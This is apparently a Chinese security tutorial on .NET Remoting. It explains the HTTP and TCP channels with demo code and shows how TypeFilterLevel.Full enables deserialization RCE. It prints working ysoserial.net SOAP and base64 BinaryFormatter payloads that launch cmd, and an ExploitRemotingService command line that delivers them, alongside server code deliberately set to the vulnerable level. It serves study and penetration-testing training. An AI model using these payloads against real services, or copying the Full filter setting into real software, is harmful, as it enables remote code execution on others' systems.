.net remoting是一种在不同进程间传递对象的方式。假如两个不同的进程分别为服务端、客户端,客户端和服务端各自保存相同的一份对象(DLL),那么可以通过.net remoting技术来远程传递对象。拿java来讲更类似于rmi的概念。
.net remoting可以使用tcp、http、ipc协议来传输远程对象。本文依赖于VulnerableDotNetHTTPRemoting项目。
三种协议都位于程序集System.Runtime.Remoting.dll,命名空间分别为System.Runtime.Remoting.Channels.Http、System.Runtime.Remoting.Channels.Tcp、System.Runtime.Remoting.Channels.Ipc
其中不同协议用处不同:
- IpcChannel用于本机之间进程传输,使用ipc协议传输比HTTP、TCP速度要快的多,但是只能在本机传输,不能跨机器,本文不讲。
- TcpChannel基于tcp传输,将对象进行二进制序列化之后传输二进制数据流,比http传输效率更高。
- HttpChannel基于http传输,将对象进行soap序列化之后在网络中传输xml,兼容性更强。
先来以HttpChannel为例看一个demo了解.net remoting。需要三个项目,分别是
- RemoteDemoClient
- RemoteDemoServer
- RemoteDemoObject
分别表示客户端、服务端和要传输的对象。
RemoteDemoObject.RemoteDemoObjectClass需要继承MarshalByRefObject类才能跨域(AppDomain)远程传输。
using System;
namespace RemoteDemoObject
{
public class RemoteDemoObjectClass : MarshalByRefObject
{
public int count = 0;
public int GetCount()
{
Console.WriteLine("GetCount called.");
return count++;
}
}
}
服务端注册HttpServerChannel并绑定在9999端口,然后RemotingConfiguration.RegisterWellKnownServiceType
发布uri地址为RemoteDemoObjectClass.rem的远程调用对象,类型是RemoteDemoObjectClass。
using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using RemoteDemoObject;
namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
HttpServerChannel httpServerChannel = new HttpServerChannel(9999);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton);
Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}
其中WellKnownObjectMode.Singleton是一个枚举,含义如下。漏洞与这两个枚举无关。
using RemoteDemoObject;
using System;
namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "http://localhost:9999/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress);
Console.WriteLine("call GetCount() get return value:{0}",obj1.GetCount());
Console.ReadKey();
}
}
}
客户端通过Activator.GetObject拿到远程对象并返回一个实例。
PS C:\RemoteDemoClient\bin\Debug> .\RemoteDemoClient.exe
call GetCount() get return value:0
PS C:\RemoteDemoServer\bin\Debug> .\RemoteDemoServer.exe
server has been start
GetCount called.
运行三次Client就返回count为三,并且输出三次GetCount called.
,Server中的count会自增。
这边可以通过burp的透明代理功能将client的请求包代理出来。首先修改监听器启用透明代理。
然后修改client的代码将9999端口改为8080
using RemoteDemoObject;
using System;
namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "http://localhost:8080/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress);
Console.WriteLine("call GetCount() get return value:{0}",obj1.GetCount());
Console.ReadKey();
}
}
}
再次运行client,抓到请求包
在上图中可见HttpServerChannel采用soap协议传输对象。深究其实现
构造函数中进入this.SetupChannel()
然后判断自身_sinkProvider是否为空,如果为空则CreateDefaultServerProviderChain()
这里使用了一个Provider链,从SdlChannelSinkProvider->SoapServerFormatterSinkProvider->BinaryServerFormatterSinkProvider
而TcpServerChannel中,使用的是BinaryServerFormatterSinkProvider->SoapServerFormatterSinkProvider
由此可见http使用soap协议进行序列化,tcp使用binary进行序列化。
在上文中我们提到SoapServerFormatterSinkProvider和BinaryServerFormatterSinkProvider,这两个类都有一个重要的属性TypeFilterLevel,根据文档可知其是枚举类型。
当其为Full时会反序列化所有类型,low时反序列化基础远程处理功能相关联的类型。而为Full时,会造成漏洞。
修改服务端代码
using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using System.Runtime.Serialization.Formatters;
using RemoteDemoObject;
namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
SoapServerFormatterSinkProvider soapServerFormatterSinkProvider = new SoapServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full
};
IDictionary hashtables = new Hashtable();
hashtables["port"] = 9999;
HttpServerChannel httpServerChannel = new HttpServerChannel(hashtables,soapServerFormatterSinkProvider);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton);
Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}
在HttpServerChannel中采用两个参数的重载,传入SoapServerFormatterSinkProvider,赋值TypeFilterLevel = TypeFilterLevel.Full
。此时将soap请求修改为TextFormattingRunProperties的payload。
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f soapformatter -g TextFormattingRunProperties -c calc
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3"><?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider></ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
删除SOAP-ENV:Body
标签之后复制到burp中发包,弹出计算器。
远程调用对象代码
using System;
namespace RemoteDemoObject
{
public class RemoteDemoObjectClass : MarshalByRefObject
{
public int count = 0;
public string GetCount()
{
Console.WriteLine("GetCount called.");
return $"hello,{count++}";
}
}
}
客户端
using RemoteDemoObject;
using System;
namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "tcp://localhost:9999/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof(RemoteDemoObjectClass), serverAddress);
Console.WriteLine("get string:\t{0}",obj1.GetCount());
Console.ReadKey();
}
}
}
服务端
using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;
using System.Runtime.Serialization.Formatters;
using RemoteDemoObject;
namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full
};
IDictionary hashtables = new Hashtable();
hashtables["port"] = 9999;
TcpServerChannel httpServerChannel = new TcpServerChannel(hashtables,binary);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteDemoObjectClass), "RemoteDemoObjectClass.rem", WellKnownObjectMode.Singleton);
Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}
wireshark抓包之后,追踪tcp数据流
发现数据流以2e 4e 45 54
.NET
开头进行二进制传输远程调用方法、类型和命名空间。我们可以伪造tcp数据流来发送恶意二进制数据流进行反序列化RCE。
Github上有一个现成的工具ExploitRemotingService,通过它的raw参数我们可以发送原始binary数据。先使用ysoserial.net生成base64的payload。
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc -o base64
AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==
然后使用ExploitRemotingService发包
PS C:\Users\ddd\Downloads\ExploitRemotingService-master\ExploitRemotingService\bin\Debug> .\ExploitRemotingService tcp://localhost:9999/RemoteDemoObjectClass.rem raw AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==
效果如图
该工具还有其他很多用法,值得学习。
因为协议的特征,nmap可以扫出来
实际渗透过程中碰到rem后缀的也要重点关注。
关注TcpChannel、HttpChannel及其子类所创建实例的TypeFilterLevel字段是否为Full。其实为Low的时候ExploitRemotingService也可以利用,但是要设置ConfigurationManager.AppSettings.Set("microsoft:Remoting:AllowTransparentProxyMessage", false;
这个全局非默认配置,少见,仅作了解。
关注rem后缀的uri,可能就是.net remoting。
本文简单介绍了.net remoting的基础及利用。ExploitRemotingService是一个值得学习的项目,其中使用到类似于java的动态注册RMI实例实现执行自定义代码的操作,受益颇多。